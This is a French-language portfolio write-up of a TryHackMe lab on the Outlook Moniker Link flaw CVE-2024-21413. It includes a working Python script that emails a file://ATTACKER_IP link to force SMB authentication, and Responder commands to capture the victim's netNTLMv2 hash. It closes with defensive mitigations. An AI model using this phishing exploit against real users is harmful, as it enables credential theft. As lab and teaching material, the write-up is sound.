Exploit par email Moniker Link-CVE-2024-21413-Module — Documentation

Aperçu : Une preuve de concept (PoC) pratique démontrant l'utilisation d'un Moniker Link dans un email HTML pour déclencher une connexion SMB depuis Outlook, permettant la capture du hash netNTLMv2 d'une victime via Responder. Cela met en avant des compétences pratiques en test d'intrusion, en scripting et en analyse de protocoles réseau.

Compétences clés démontrées

• Scripting Python pour l'envoi automatisé d'emails
• Compréhension des protocoles SMB, NTLMv2, LLMNR, NBT-NS et MDNS
• Configuration et surveillance de Responder pour la capture de hash
• Résolution des problèmes de configuration réseau/DNS sous Linux
• Élaboration d'un scénario de sécurité offensive contrôlé dans un environnement de laboratoire

Flux de travail du PoC

1. Configuration du listener SMB : Lancer Responder sur la machine attaquante pour surveiller les tentatives d'authentification SMB.
2. Envoi de l'email conçu : Utiliser un script Python pour envoyer un email HTML contenant un Moniker Link (file://) pointant vers le partage SMB de l'attaquant.
3. Capture du hash : Lorsque la victime clique sur le lien, Outlook tente de récupérer le fichier via SMB, et Responder capture le hash netNTLMv2.

Script d'exploitation minimal

# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124'  # THM SMTP server
password = input('Enter attacker email password: ')

html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'

msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))

with smtplib.SMTP(mailserver, 25) as s:
    s.ehlo()
    s.login(sender, password)
    s.sendmail(sender, [receiver], msg.as_string())
    print('Email delivered')

Astuce : Remplacez ATTACKER_IP et mailserver avant d'exécuter. Dans le lab TryHackMe, le mot de passe est attacker.

Exécution de Responder

responder -I ens5

Remplacez ens5 par le nom de votre interface réseau.

Dépannage de /etc/resolv.conf

Parfois, Responder échoue à cause de liens symboliques cassés dans /etc/resolv.conf. Correction avec :

rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf

Compétences mises en avant : Résolution de problèmes Linux, configuration DNS et adaptation d'outils aux environnements cloud/VM.

Captures d'écran de progression

1. Erreur / Problème resolv.conf :`

2. Correction DNS appliquée :

3. Script Python d'email :

4. Livraison de l'exploit :

5. Boîte de réception de la victime :

6. Hash capturé de la victime :

Outils et commandes utilisés

• Responder : Listener SMB/LLMNR/NBT-NS/MDNS
• Python3 : Exécution du script d'email PoC
• smtplib / email.mime : Bibliothèques Python pour la création et l'envoi d'emails
• Commandes shell Linux pour le dépannage DNS

Compétences acquises / Mise en avant du portfolio

• Simulation d'attaque réseau et flux de travail d'exploitation
• Automatisation d'un vecteur d'ingénierie sociale (email Moniker Link)
• Capture et analyse de hash netNTLMv2
• Dépannage interdisciplinaire : Python, réseaux, interaction Windows et Linux
• Documentation et présentation du flux de travail pour les relecteurs techniques

Notes d'atténuation et défensives

• Désactiver le contenu externe automatique dans Outlook
• Bloquer le SMB sortant vers les réseaux non fiables
• Appliquer la signature SMB et les politiques d'authentification modernes sur les clients Windows

Attribution

Adapté du lab MonikerLink de TryHackMe et du PoC original par CMNatic (GitHub)